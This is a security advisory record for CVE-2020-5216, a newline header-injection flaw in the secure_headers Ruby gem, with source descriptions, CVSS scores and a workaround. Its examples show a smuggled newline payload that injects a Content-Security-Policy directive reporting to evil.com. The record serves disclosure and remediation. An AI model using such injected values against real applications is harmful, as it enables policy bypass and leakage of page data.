GSD-2020-5216

Vulnerability from gsd - Updated: 2020-01-23 00:00
Details
If user-supplied input was passed into append/override_content_security_policy_directives, a newline could be injected leading to limited header injection. Upon seeing a newline in the header, rails will silently create a new Content-Security-Policy header with the remaining value of the original string. It will continue to create new headers for each newline. e.g. ``` override_content_security_directives(script_src: ['mycdn.com', "\ninjected\n"]) ``` would result in ``` Content-Security-Policy: ... script-src: mycdn.com Content-Security-Policy: injected Content-Security-Policy: rest-of-the-header ``` CSP supports multiple headers and all policies must be satisfied for execution to occur, but a malicious value that reports the current page is fairly trivial: ``` override_content_security_directives(script_src: ["mycdn.com", "\ndefault-src 'none'; report-uri evil.com"]) ``` ``` Content-Security-Policy: ... script-src: mycdn.com Content-Security-Policy: default-src 'none'; report-uri evil.com Content-Security-Policy: rest-of-the-header ``` Workarounds ``` override_content_security_policy_directives(:frame_src, [user_input.gsub("\n", " ")]) ```
Aliases
Aliases
CVE-2020-5216
To clipboard 

{
  "GSD": {
    "alias": "CVE-2020-5216",
    "description": "In Secure Headers (RubyGem secure_headers), a directive injection vulnerability is present in versions before 3.9.0, 5.2.0, and 6.3.0. If user-supplied input was passed into append/override_content_security_policy_directives, a newline could be injected leading to limited header injection. Upon seeing a newline in the header, rails will silently create a new Content-Security-Policy header with the remaining value of the original string. It will continue to create new headers for each newline. This has been fixed in 6.3.0, 5.2.0, and 3.9.0.",
    "id": "GSD-2020-5216",
    "references": [
      "https://access.redhat.com/errata/RHSA-2020:4366"
    ]
  },
  "gsd": {
    "metadata": {
      "exploitCode": "unknown",
      "remediation": "unknown",
      "reportConfidence": "confirmed",
      "type": "vulnerability"
    },
    "osvSchema": {
      "affected": [
        {
          "package": {
            "ecosystem": "RubyGems",
            "name": "secure_headers",
            "purl": "pkg:gem/secure_headers"
          }
        }
      ],
      "aliases": [
        "CVE-2020-5216",
        "GHSA-w978-rmpf-qmwg"
      ],
      "details": "If user-supplied input was passed into append/override_content_security_policy_directives,\na newline could be injected leading to limited header injection.\n\nUpon seeing a newline in the header, rails will silently create a new Content-Security-Policy\nheader with the remaining value of the original string. It will continue to create new headers\nfor each newline.\n\ne.g.\n\n```\noverride_content_security_directives(script_src: [\u0027mycdn.com\u0027, \"\\ninjected\\n\"])\n```\n\nwould result in\n\n```\nContent-Security-Policy: ... script-src: mycdn.com\nContent-Security-Policy: injected\nContent-Security-Policy: rest-of-the-header\n```\n\nCSP supports multiple headers and all policies must be satisfied for execution to occur, but a malicious value that reports the current page is fairly trivial:\n\n```\noverride_content_security_directives(script_src: [\"mycdn.com\", \"\\ndefault-src \u0027none\u0027; report-uri evil.com\"])\n```\n\n```\nContent-Security-Policy: ... script-src: mycdn.com\nContent-Security-Policy: default-src \u0027none\u0027; report-uri evil.com\nContent-Security-Policy: rest-of-the-header\n```\n\nWorkarounds\n```\noverride_content_security_policy_directives(:frame_src, [user_input.gsub(\"\\n\", \" \")])\n```",
      "id": "GSD-2020-5216",
      "modified": "2020-01-23T00:00:00.000Z",
      "published": "2020-01-23T00:00:00.000Z",
      "references": [
        {
          "type": "WEB",
          "url": "https://github.com/twitter/secure_headers/security/advisories/GHSA-w978-rmpf-qmwg"
        }
      ],
      "schema_version": "1.4.0",
      "severity": [
        {
          "score": 4.4,
          "type": "CVSS_V3"
        }
      ],
      "summary": "secure_headers header injection due to newline"
    }
  },
  "namespaces": {
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      "CVE_data_meta": {
        "ASSIGNER": "security-advisories@github.com",
        "ID": "CVE-2020-5216",
        "STATE": "PUBLIC",
        "TITLE": "Limited header injection when using dynamic overrides with user input in RubyGems secure_headers"
      },
      "affects": {
        "vendor": {
          "vendor_data": [
            {
              "product": {
                "product_data": [
                  {
                    "product_name": "secure_headers",
                    "version": {
                      "version_data": [
                        {
                          "version_value": "\u003c 3.9.0"
                        },
                        {
                          "version_value": "\u003e= 5.0.0, \u003c 5.2.0"
                        },
                        {
                          "version_value": "\u003e= 6.0.0, \u003c 6.3.0"
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      "description": {
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            "value": "In Secure Headers (RubyGem secure_headers), a directive injection vulnerability is present in versions before 3.9.0, 5.2.0, and 6.3.0. If user-supplied input was passed into append/override_content_security_policy_directives, a newline could be injected leading to limited header injection. Upon seeing a newline in the header, rails will silently create a new Content-Security-Policy header with the remaining value of the original string. It will continue to create new headers for each newline. This has been fixed in 6.3.0, 5.2.0, and 3.9.0."
          }
        ]
      },
      "impact": {
        "cvss": {
          "attackComplexity": "HIGH",
          "attackVector": "NETWORK",
          "availabilityImpact": "NONE",
          "baseScore": 4.4,
          "baseSeverity": "MEDIUM",
          "confidentialityImpact": "LOW",
          "integrityImpact": "LOW",
          "privilegesRequired": "LOW",
          "scope": "CHANGED",
          "userInteraction": "REQUIRED",
          "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:L/I:L/A:N",
          "version": "3.1"
        }
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      "problemtype": {
        "problemtype_data": [
          {
            "description": [
              {
                "lang": "eng",
                "value": "CWE-113 Improper Neutralization of CRLF Sequences in HTTP Headers (\u0027HTTP Response Splitting\u0027)"
              }
            ]
          }
        ]
      },
      "references": {
        "reference_data": [
          {
            "name": "https://github.com/twitter/secure_headers/security/advisories/GHSA-w978-rmpf-qmwg",
            "refsource": "CONFIRM",
            "url": "https://github.com/twitter/secure_headers/security/advisories/GHSA-w978-rmpf-qmwg"
          },
          {
            "name": "https://github.com/twitter/secure_headers/commit/301695706f6a70517c2a90c6ef9b32178440a2d0",
            "refsource": "MISC",
            "url": "https://github.com/twitter/secure_headers/commit/301695706f6a70517c2a90c6ef9b32178440a2d0"
          }
        ]
      },
      "source": {
        "advisory": "GHSA-w978-rmpf-qmwg",
        "discovery": "UNKNOWN"
      }
    },
    "github.com/rubysec/ruby-advisory-db": {
      "cve": "2020-5216",
      "cvss_v3": 4.4,
      "date": "2020-01-23",
      "description": "If user-supplied input was passed into append/override_content_security_policy_directives,\na newline could be injected leading to limited header injection.\n\nUpon seeing a newline in the header, rails will silently create a new Content-Security-Policy\nheader with the remaining value of the original string. It will continue to create new headers\nfor each newline.\n\ne.g.\n\n```\noverride_content_security_directives(script_src: [\u0027mycdn.com\u0027, \"\\ninjected\\n\"])\n```\n\nwould result in\n\n```\nContent-Security-Policy: ... script-src: mycdn.com\nContent-Security-Policy: injected\nContent-Security-Policy: rest-of-the-header\n```\n\nCSP supports multiple headers and all policies must be satisfied for execution to occur, but a malicious value that reports the current page is fairly trivial:\n\n```\noverride_content_security_directives(script_src: [\"mycdn.com\", \"\\ndefault-src \u0027none\u0027; report-uri evil.com\"])\n```\n\n```\nContent-Security-Policy: ... script-src: mycdn.com\nContent-Security-Policy: default-src \u0027none\u0027; report-uri evil.com\nContent-Security-Policy: rest-of-the-header\n```\n\nWorkarounds\n```\noverride_content_security_policy_directives(:frame_src, [user_input.gsub(\"\\n\", \" \")])\n```",
      "gem": "secure_headers",
      "ghsa": "w978-rmpf-qmwg",
      "patched_versions": [
        "~\u003e 3.9",
        "~\u003e 5.2",
        "\u003e= 6.3.0"
      ],
      "title": "secure_headers header injection due to newline",
      "url": "https://github.com/twitter/secure_headers/security/advisories/GHSA-w978-rmpf-qmwg"
    },
    "gitlab.com": {
      "advisories": [
        {
          "affected_range": "\u003c3.9.0||\u003e=5.0.0 \u003c5.2.0||\u003e=6.0.0 \u003c6.3.0",
          "affected_versions": "All versions before 3.9.0, all versions starting from 5.0.0 before 5.2.0, all versions starting from 6.0.0 before 6.3.0",
          "cvss_v2": "AV:N/AC:L/Au:N/C:N/I:P/A:N",
          "cvss_v3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:L/A:N",
          "cwe_ids": [
            "CWE-1035",
            "CWE-74",
            "CWE-937"
          ],
          "date": "2020-02-18",
          "description": "If user-supplied input is passed into `append/override_content_security_policy_directives`, a newline could be injected leading to limited header injection. Upon seeing a newline in the header, rails will silently create a new `Content-Security-Policy` header with the remaining value of the original string. It will continue to create new headers for each newline.",
          "fixed_versions": [
            "3.9.0",
            "5.2.0",
            "6.3.0"
          ],
          "identifier": "CVE-2020-5216",
          "identifiers": [
            "CVE-2020-5216",
            "GHSA-w978-rmpf-qmwg"
          ],
          "not_impacted": "All versions starting from 3.9.0 before 5.0.0, all versions starting from 5.2.0 before 6.0.0, all versions starting from 6.3.0",
          "package_slug": "gem/secure_headers",
          "pubdate": "2020-01-23",
          "solution": "Upgrade to versions 3.9.0, 5.2.0, 6.3.0 or above.",
          "title": "Injection Vulnerability",
          "urls": [
            "https://nvd.nist.gov/vuln/detail/CVE-2020-5216"
          ],
          "uuid": "9771277e-84e2-40b0-9337-a80e649f3d49"
        }
      ]
    },
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                "vulnerable": true
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                "versionEndExcluding": "5.2.0",
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                "cpe23Uri": "cpe:2.3:a:twitter:secure_headers:*:*:*:*:*:ruby:*:*",
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            }
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          "cvssV2": {
            "accessComplexity": "LOW",
            "accessVector": "NETWORK",
            "authentication": "NONE",
            "availabilityImpact": "NONE",
            "baseScore": 5.0,
            "confidentialityImpact": "NONE",
            "integrityImpact": "PARTIAL",
            "vectorString": "AV:N/AC:L/Au:N/C:N/I:P/A:N",
            "version": "2.0"
          },
          "exploitabilityScore": 10.0,
          "impactScore": 2.9,
          "obtainAllPrivilege": false,
          "obtainOtherPrivilege": false,
          "obtainUserPrivilege": false,
          "severity": "MEDIUM",
          "userInteractionRequired": false
        },
        "baseMetricV3": {
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            "baseScore": 5.8,
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            "confidentialityImpact": "NONE",
            "integrityImpact": "LOW",
            "privilegesRequired": "NONE",
            "scope": "CHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:L/A:N",
            "version": "3.1"
          },
          "exploitabilityScore": 3.9,
          "impactScore": 1.4
        }
      },
      "lastModifiedDate": "2020-02-18T14:58Z",
      "publishedDate": "2020-01-23T03:15Z"
    }
  }
}



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